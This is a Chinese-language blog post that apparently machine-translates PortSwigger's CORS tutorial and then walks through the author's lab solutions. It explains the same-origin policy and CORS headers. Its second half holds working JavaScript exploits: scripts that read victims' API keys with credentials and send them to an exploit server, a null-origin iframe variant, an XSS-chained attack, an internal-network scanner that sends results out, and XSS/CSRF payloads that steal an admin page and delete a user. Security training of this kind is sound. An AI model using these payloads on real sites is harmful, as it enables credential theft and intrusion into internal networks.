看我这机翻有个屁用,去看正规的https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Access_control_CORS
本文地址 https://portswigger.net/web-security/cors
跨源资源共享(CORS)
在本节中,我们将解释什么是跨源资源共享(CORS),描述一些常见的基于跨源资源共享的攻击示例,并讨论如何防范这些攻击。
什么是CORS(跨源资源共享)?
跨源资源共享(CORS)是一种浏览器机制,它允许对位于给定域之外的资源进行受控访问。它扩展并增加了相同来源策略的灵活性(SOP)。然而,如果网站的CORS策略配置和实现不当,它也为基于跨域的攻击提供了潜在的可能性。CORS并不是针对跨源攻击的保护措施,例如:跨站点请求伪造。
image.png
同源政策(SOP)
相同来源策略是一种限制性的跨源规范,它限制网站与源域以外的资源交互的能力。许多年前,针对潜在的恶意跨域交互,例如一个网站从另一个网站窃取私有数据,定义了相同的来源策略。它通常允许域向其他域发出请求,但不允许访问响应。
什么是同源政策?
同源政策是一种网络浏览器安全机制,旨在防止网站相互攻击。
同源政策限制一个来源上的脚本访问另一个来源的数据。源由URI方案、域和端口号组成。例如,考虑以下URL:
http://normal-website.com/example/example.html
这使用了该方案:http,域:normal-website.com,以及端口号:80...下表显示了如果上述URL上的内容试图访问其他来源,将如何应用同源政策:
访问URL | 允许进入? |
---|---|
http://normal-website.com/example/ | 是:相同的方案、域和端口 |
http://normal-website.com/example2/ | 是:相同的方案、域和端口 |
https://normal-website.com/example/ | 否:不同的方案和端口 |
http://en.normal-website.com/example/ | 否:不同领域 |
http://www.normal-website.com/example/ | 否:不同领域 |
http://normal-website.com:8080/example/ | 否:不同端口* |
*InternetExplorer将允许此访问,因为IE在应用相同来源的策略时不考虑端口号。
为什么同源政策是必要的?
当浏览器将HTTP请求从一个源发送到另一个源时,与另一个域相关的任何cookie(包括身份验证会话cookie)也会作为请求的一部分发送。这意味着响应将在用户会话中生成,并包含特定于用户的任何相关数据。如果没有相同的来源政策,如果你访问了一个恶意网站,它就可以从gmail读取你的电子邮件,从facebook上读取私人信息等等。
同源政策是如何执行的?
同源政策通常控制JavaScript代码对跨域加载的内容的访问。通常允许跨源加载页面资源.例如,SOP允许通过<img>标签,媒体通过<video>标记和JavaScript包含在<script>标签。但是,虽然这些外部资源可以由页面加载,但是页面上的任何JavaScript都无法读取这些资源的内容。
同源政策有各种例外:
- 有些对象是可写的,但跨域不可读,例如location对象或location.href属性来自iframes或新窗口。
- 某些对象是可读的,但不能跨域写入,例如length 的属性,window 对象(它存储页上使用的帧数)和closed 属性。
- 这个replace 函数通常可以称为跨域函数on location 对象。
- 您可以跨域调用某些函数。例如,您可以调用以下函数close, blur和focus 在新窗户上。这个postMessage 函数还可以在iframes和新窗口上调用,以便将消息从一个域发送到另一个域。
由于遗留需求,相同来源的策略在处理cookie时更加宽松,因此它们通常可以从站点的所有子域访问,即使每个子域在技术上是不同的来源。可以使用HttpOnly标志。
使用document.domain...这个特殊属性允许您放松特定域的SOP,但前提是它是FQDN(完全限定域名)的一部分。例如,您可能有一个域marketing.example.com您希望阅读该域的内容。example.com...为此,两个域都需要设置document.domain到example.com...然后,SOP将允许两个域之间的访问,尽管它们的起源不同。在过去,可以设置document.domain到TLD,如COM,它允许在同一个TLD上的任何域之间进行访问,但现在现代浏览器阻止了这一点。
放宽同源政策
同样的政策有很强的限制性,因此设计了各种方法来规避这些限制。许多网站与子域名或第三方网站的互动方式需要完全跨源访问。可以使用跨源资源共享(CORS)来控制对同一来源政策的放松.
跨源资源共享协议使用一组HTTP报头来定义受信任的web源和相关属性,例如是否允许通过身份验证的访问。它们结合在浏览器和它试图访问的跨源网站之间的标题交换中。
什么是访问控制允许源响应头?
这个Access-Control-Allow-Origin报头包括在一个网站对来自另一个网站的请求的响应中,并标识请求的允许来源。Web浏览器将访问控制允许源与请求网站的来源进行比较,并允许访问响应(如果它们匹配的话)。
实现简单的跨源资源共享
跨源资源共享(CORS)规范规定了Web服务器和浏览器之间交换的标题内容,这限制了源域以外的Web资源请求的来源。CORS规范标识了其中的协议报头的集合。Access-Control-Allow-Origin是最重要的。当网站请求跨域资源时,服务器将返回此标头。浏览器添加Origin 的标题。
例如,假设一个具有原点的网站。normal-website.com导致以下跨域请求:
GET /data HTTP/1.1
Host: robust-website.com
Origin : https://normal-website.com
服务器robust-website.com返回以下响应:
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://normal-website.com
浏览器将允许在normal-website.com访问响应,因为源匹配。
Access-Control-Allow-Origin的规格允许多个来源,或值,或者通配符*...但是,没有浏览器支持多种来源,并且对通配符的使用也有限制。
使用凭据处理跨源资源请求
跨源资源请求的默认行为是在没有cookie和授权头等凭据的情况下传递请求。但是,当凭据被传递给它时,跨域服务器可以通过设置cors来读取响应。访问-控制-允许-凭据标题为真。现在,如果请求网站使用JavaScript声明它与请求一起发送cookie:
GET /data HTTP/1.1
Host: robust-website.com
...
Origin: https://normal-website.com
Cookie: JSESSIONID=<value>
对请求的答复是:
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Credentials: true
然后浏览器将允许请求网站读取响应,因为访问-控制-允许-凭据响应头设置为true...否则,浏览器将不允许访问响应。
使用通配符放宽CORS规范
标头Access-Control-Allow-Origin
支持通配符。例如:
Access-Control-Allow-Origin: *
注意
注意,通配符不能在任何其他值中使用。例如,下面的标题是不有效:
访问-控制-允许-起源:https://*.normal-website.com
幸运的是,从安全的角度来看,通配符的使用在规范中受到限制,因为您不能将通配符与凭据的跨源传输(身份验证、cookie或客户端证书)结合起来。因此,表单的跨域服务器响应:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
是不允许的,因为这将是危险的不安全,向每个人公开目标站点上的任何经过身份验证的内容。
在这些约束条件下,一些web服务器动态地创建访问-控制-允许-来源基于客户端指定的源的标头。这是CORS约束的一种解决方法,即不安全.
飞行前检查 Pre-flight checks
飞行前检查被添加到CORS规范中,以保护遗留资源不受CORS允许的扩展请求选项的影响。在某些情况下,当跨域请求包括非标准的HTTP方法或标头时,跨源请求之前将使用备选方案方法,并且CORS协议需要在允许跨源请求之前对允许哪些方法和报头进行初始检查。这叫做飞行前检查。除了受信任的来源之外,服务器还返回允许的方法列表,浏览器检查请求网站的方法是否被允许。
例如,这是一个飞行前请求,它试图使用放方法与名为特殊-请求-标头:
OPTIONS /data HTTP/1.1
Host: <some website>
...
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header
服务器可能返回如下响应:
HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
此响应列出了允许的方法(PUT, POST, OPTIONS)和允许的请求头(Special-Request-Header)。在这种情况下,跨域服务器还允许发送凭据,并且Access-Control-Max-Age报头定义了用于缓存飞行前响应以供重用的最大时间范围。如果允许使用请求方法和标头(如本例中所示),则浏览器将以通常的方式处理跨源请求。飞行前检查增加了一个额外的HTTP请求往返到跨域请求,因此它们增加了浏览开销。
CORS是否保护CSRF
CORS不提供针对CSRF攻击,这是一个常见的误解。
CORS是对相同来源策略的控制放松,因此配置不当的CORS实际上可能会增加CSRF攻击的可能性或加剧其影响。
有多种不使用CORS来执行CSRF攻击的方法,包括简单的HTML表单和跨域资源包含。
由于CORS配置问题而产生的漏洞
许多现代网站使用CORS来允许来自子域和受信任的第三方的访问。它们的CORS实现可能包含错误或过于宽松,以确保一切正常工作,这可能导致可利用的漏洞。
服务器生成ACAO来自客户端指定的源标头的标头
一些应用程序需要提供对许多其他域的访问。维护允许的域列表需要持续的努力,任何错误都有破坏功能的风险。因此,一些应用程序采用简单的路径,有效地允许从任何其他域访问。
这样做的一种方法是从请求中读取OriginHeader,并包括一个响应头,说明允许请求源。例如,考虑接收以下请求的应用程序:
GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...
然后答复如下:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...
这些标头声明允许从请求域进行访问(malicious-website.com),并且跨域请求可以包括cookie(Access-Control-Allow-Credentials:true),因此将在会话中进行处理。
因为应用程序在Access-Control-Allow-Origin标头,这意味着任何域都可以从易受攻击的域访问资源。如果响应包含任何敏感信息,如api键或CSRF令牌,您可以通过在您的网站上放置以下脚本来检索该脚本:
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//malicious-website.com/log?key='+this.responseText;
};
image.png
image.png
进入实验,登陆账号,查看API key:
image.png
好的现在我们知道去那个url找APIkey了
然后点Go to exploit server,
image.png
改代码
点Deliver exploit to victiom 之后,点Access log就成功了
这不是答案,这是我后来自己实验的东西
hello
<script>
console.log('????')
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get', 'https://aca51f581f7c15f080c44a490052004d.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
document.write(this.responseText);
function reqListener(){
alert(this.responseText);
console.log(this.responseText);
document.getElementById('1').innerHTML=this.responseText;
};
</script>
hi
<h1 id='1'>2</h1>
image.png
image.png
在exploit服务器编辑如下请求发送就好了
<iframe sandbox="allow-scripts allow-top-navigation allow-forms allow-modals" src="data:text/html,
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get', 'https://aca51f581f7c15f080c44a490052004d.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener(){
location='https://acb01fe61f45154280d14aa70118007b.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
image.png
image.png
因为实验室无法提供中间人攻击的环境,所以在http网站上加入了一个xss漏洞
在exploit服务器上填写代码
<script>document.location="http://stock.acb31f471e8166d18018e9cc00890072.web-security-academy.net/?productId=1<script>var req=new XMLHttpRequest();req.onload=reqListener;req.open('get','https://acb31f471e8166d18018e9cc00890072.web-security-academy.net/accountDetails',true);req.withCredentials=true;req.send();function reqListener(){location='https://ac0f1fb01ede66b88098e91b01c400f1.web-security-academy.net/log?key='%2bthis.responseText;};%3c/script>&storeId=1"</script>
解释一下这个代码的逻辑:
首先攻击者发送一个连接给受害者:https://ac0f1fb01ede66b88098e91b01c400f1.web-security-academy.net/exploit
受害者点击这个连接,服务器返回我们写的js脚本,浏览器执行脚本,然后跳转到http://stock.acb31f471e8166d18018e9cc00890072.web-security-academy.net/?productId=1<scri...xss攻击脚本...ript>&storeId=1
这个页面是有xss的所以浏览器执行xss注入的脚本,向https://acb31f471e8166d18018e9cc00890072.web-security-academy.net/accountDetails
发起GET请求,因为Origins:http://stock.acb31f471e8166d18018e9cc00890072.web-security-academy.net
是受同源信任的,所以可以得到APIkey,然后脚本把拿到的APIkey作为参数跳转到我们的攻击服务器
CORS vulnerability with internal network pivot attack -- 内部网络支点攻击的CORS漏洞
image.png<script>
var q = [], collaboratorURL = 'http://ac4f1f0a1ecde4a28039282e015c0005.web-security-academy.net';
for(i=1;i<=255;i++){
q.push(
function(url){
return function(wait){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080')
);
}
for(i=1;i<=20;i++){
if(q.length) q.shift()(i*100);
}
function fetchUrl(url, wait){
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
})).catch(e=>{
if(q.length){
q.shift()(wait);
}
});
setTimeout(x=>{
controller.abort();
if(q.length){
q.shift()(wait);
}
}, wait);
}
</script>
发现内网站点
image.png
测试是否存在xss
<script>
function xss(url, text, vector) {
location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+ '&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}
function fetchUrl(url, collaboratorURL) {
fetch(url).then(r=>r.text().then(text=>{
xss(url, text, '"><img src='+collaboratorURL+'?foundXSS=1>');
}))
}
fetchUrl("http://192.168.0.45:8080", "http://ac2a1f301fe1a63e808a57e2017b0077.web-security-academy.net/");
</script>
忘了截图了,
利用xss,获取后台管理页面代码
<script>
function xss(url, text, vector) {
location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}
function fetchUrl(url, collaboratorURL) {
//console.log('"><iframe src=/admin onload="new Image().src=\''+collaboratorURL+'?code=\'+encodeURIComponent(this.contentWindow.document.body.innerHTML)">')
fetch(url).then(r=>r.text().then(text=>{
xss(url, text, '"><iframe src=/admin onload="new Image().src=\''+collaboratorURL+'?code=\'+encodeURIComponent(this.contentWindow.document.body.innerHTML)">');
}))
}
fetchUrl("http://192.168.0.167:8080", "http://ac881f931e27dd9a8064137401810029.web-security-academy.net/")
</script>
image.png
CORS+XSS+CSRF删除用户
<script>
function xss(url, text, vector) {
location = url+'/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}
function fetchUrl(url) {
fetch(url).then(r=>r.text().then(text=>{
xss(url, text, '"><iframe src=/admin onload="var f=this.contentWindow.document.forms[0];if(f.username)f.username.value=\'carlos\',f.submit()">');
}))
}
fetchUrl('http://192.168.0.167:8080')
</script>
完成
网友评论